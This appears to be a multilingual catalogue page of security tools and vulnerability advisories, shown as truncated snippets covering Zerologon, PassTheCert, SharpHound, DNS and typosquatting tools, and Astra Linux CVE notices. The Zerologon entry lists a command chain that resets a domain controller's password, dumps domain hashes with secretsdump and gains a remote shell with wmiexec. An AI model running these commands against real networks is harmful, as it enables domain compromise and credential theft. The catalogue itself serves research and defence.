PS-CVE-2021-21551

説明 CVE-2021-21551 に関するドメインコンピューターにパッチを適用するスクリプトです。一部の DELL ツール（BIOS アップデータ、SupportAssist など）によってインストールされるドライバー dbutil23.sys が存在するマシンで特権昇格（Privesc）が発生します。WinRM を使用して、すべてのドメイン参加コンピューターでチェックを実行します。脆弱なドライバーを削除し、ステータスを .txt リストに記入しようとします。 使い方 - リモート版 1. スクリプトを実行するだけです。あとはやってくれます : PS...

CVE-2020-1472

CVE-2020-1472 arp-scan Rangip nmap -A -vv -Pn IPADDR python3 setemptypw.py DCNETBIOSNAME DCIPADDR python3 secretsdump.py -no-pass -just-dc DOMAIN/DCNETBIOSNAME$@DCIPADDR python3 wmiexec.py -hashes HassPasswdUser DOMAIN/User@dcipaddr windows コマンド whoami systeminfo hostname md testdir echo test...

typodetect

TypoDetect This tool gives blue teams, SOC's, researchers and companies the ability to detect the active mutations of their domains, thus preventing the use of these domains in fraudulent activities, such as phishing and smishing. For this, Typodetect allows the use of the latest available versio...

opensquat

openSquat Core 📑 Table of Contents What is openSquat? Featured In Open-Core Model Key Features Quick Start Requirements Usage Premium and API Modes Configuration Automation CLI Reference Contributing Author License 🎯 What is openSquat? openSquat is an Open Source Intelligence OSINT security tool...

opensquat

openSquat Core 📑 目次 openSquatとは？ 紹介実績 オープンコアモデル 主な機能 クイックスタート 要件 使い方 プレミアムモードとAPIモード 設定 自動化 CLIリファレンス コントリビューション 作者 ライセンス 🎯 openSquatとは？ openSquatは、ブランドやドメインを狙ったサイバースクワッティングの脅威を特定するオープンソースインテリジェンス（OSINT）セキュリティツールです： 🌟 紹介実績 「ブランド保護のための強力なスイスアーミーナイフ」 — WhoisXML APIブログ、2022年8月...

PassTheCert

PassTheCert 有时候，域控制器不支持 PKINIT。这可能是因为他们的证书没有 Smart Card Logon EKU。然而，包括 LDAP 在内的多种协议支持 Schannel，因此可以通过 TLS 进行身份验证。我们创建了一个小型概念验证工具，允许使用证书对 LDAP/S 服务器进行身份验证，以执行不同的攻击操作。 详细信息请参阅随附的博客文章。 本仓库包含一个 C 版本，作者为 the-useless-one，以及一个 Python 版本，作者为 ThePirateWhoSmellsOfSunflowers / drm @lowercasedrm。...

puredns

高速なドメインリゾルバーとサブドメインのブルートフォース攻撃、正確なワイルドカードフィルタリングを備えています はじめに » 使い方 · 仕組み · スポンサーシップ · FAQ 概要 puredns は、ワイルドカードサブドメインやDNSポイズニングエントリを正確にフィルタリングできる、高速なドメインリゾルバーおよびサブドメインブルートフォースツールです。...

zeroscan

zeroscan Zeroscanは、ドメインコントローラの脆弱性スキャナで、現在Zerologon CVE-2020-1472、MS-PAR/MS-RPRN、SMBv2署名のチェックを含んでいます。 CVE-2020-1472: 組み込みスクリプトを使用してZerologon CVE-2020-1472をチェックしますが、ターゲットの悪用は試みず、単なる脆弱性スキャナです。 コードベースの借用元: https://github.com/SecuraBV/CVE-2020-1472 MS-PAR / MS-RPRN:...

zerologon

ZeroLogon エクスプロイトスクリプト エクスプロイトコードは https://www.secura.com/blog/zero-logon および https://github.com/SecuraBV/CVE-2020-1472 に基づいています。元の研究とスキャナーは Secura によるもので、RiskSense Inc. が修正を加えています。 エクスプロイトするには、既存の Impacket インストールをすべて削除し、https://github.com/SecureAuthCorp/impacket/commit/b867b21 以降の Impacket...

inforfinder

Inforfinder =========== Inforfinder is a tool made to collect information of any domain pointing at a server ip,domain,range,file. Requires python libs: pyRequests, lxml and py3DNS You can do the installation, with pip or you can install the inforfinder app as a package using python setup.py...

inforfinder

Inforfinder =========== Inforfinder は、サーバー（IP、ドメイン、範囲、ファイル）を指す任意のドメインの情報を収集するために作られたツールです。 Python ライブラリが必要です: pyRequests、lxml、py3DNS インストールは、pip を使用するか、python setup.py install または pip install inforfinder.zip で inforfinder アプリをパッケージとしてインストールできます。 setup.py を使わない依存関係のインストール まず、補完ライブラリをインストールする必要がありま...

Astra Linux – Vulnerability in Pypy

In the http.cookiejar.py module of Python, prior to version 3.7.3, the domain validation mechanism was not properly implemented. This vulnerability could allow existing cookies to be sent to the wrong server. Attackers could exploit this flaw by using a server whose hostname contains another vali...

Astra Linux – Vulnerability in Linux 5.10, Linux

In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Clean up sidomain in the initdmars error path A splat from kmemcachedestroy was observed in a previous version of the kernel commit ee2653bbe89d, “iommu/vt-d: Remove domain and devinfo mempool” when there was a failur...

Astra Linux – Vulnerability in Samba

Multiple flaws were identified in the way Samba AD DC implemented access control and compliance checks for stored data. An attacker could exploit these flaws to cause a complete compromise of the domain...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: cpufreq: Avoid a bad reference count on the CPU node. In the parseperfdomain function, if the call to ofparsephandlewithargs returns an error, then the reference to the CPU device node acquired at the beginning of the function wi...

Astra Linux – Vulnerability in Chromium

The incorrect security UI in the Tab Strip component of Google Chrome prior to version 149.0.7827.53 allowed a remote attacker to perform domain spoofing through a crafted HTML page. Chromium security severity: Low...

RAITrigger

RAITrigger 来自 appinfo.dll 库的 RPC 函数 RAiForceElevationPromptForCOM 允许进行 SYSTEM 强制认证。这仅在已加入域的系统 上有效。事实证明，任何低权限用户都可以调用此函数（不是为了启动进程），而是为了触发 SYSTEM 向任意位置进行身份验证。这是因为 CreateFileW 会以 SYSTEM 身份被调用到第一个输入参数所指向的位置： 由于仍然模拟的是低权限用户，这不能用作 Potato 触发器来将权限从 SEImpersonate 提升到 SYSTEM： 但它可以与传入的 SMB 身份验证一起，在启用 Web 注册时用...

SharpHound

SharpHound 获取 SharpHound SharpHound 的最新构建版本始终可以在此处找到。 要确定与已部署的 BloodHound CE 实例兼容的 SharpHound 版本，请登录 BloodHound CE 的 Web UI，点击 ⚙️（设置）→ 下载收集器。然后，点击用户界面中的“下载 SharpHound”按钮，或使用显示的 SharpHound 版本下载相应的发布二进制文件。或者，从相应的发布提交编译 SharpHound 二进制文件。 文档 请参阅 SharpHound 部分，它是 BloodHound Community Edition 文档 的一部分。...

bucket-stream

🚨 Bucket Stream 已不再维护。如果您需要红队行动的支持或咨询，请发送邮件至 [email protected] 🚨 Bucket Stream 通过监控证书透明度日志发现有趣的 Amazon S3 存储桶。 该工具仅监听各种证书透明度日志（通过 certstream），并尝试从证书域名的排列中寻找公开的 S3 存储桶。 请负责任地使用。 我创建此工具主要是为了强调公开 S3 存储桶相关的风险，并为常规的字典攻击提供不同的思路。如果您使用 S3 存储桶，以下是一些快速提示： 1. 随机化您的存储桶名称！没有必要使用...

twitterBFTD

twitterBFTD Twitter back from the death looks in a user tweets history for domain names that are available for registration. See blogpost: How I hijacked top celebrities tweets including Katy Perry, Shakira… pip install pythonwhois tweepy Usage: Just run it at the root of the folder and it will...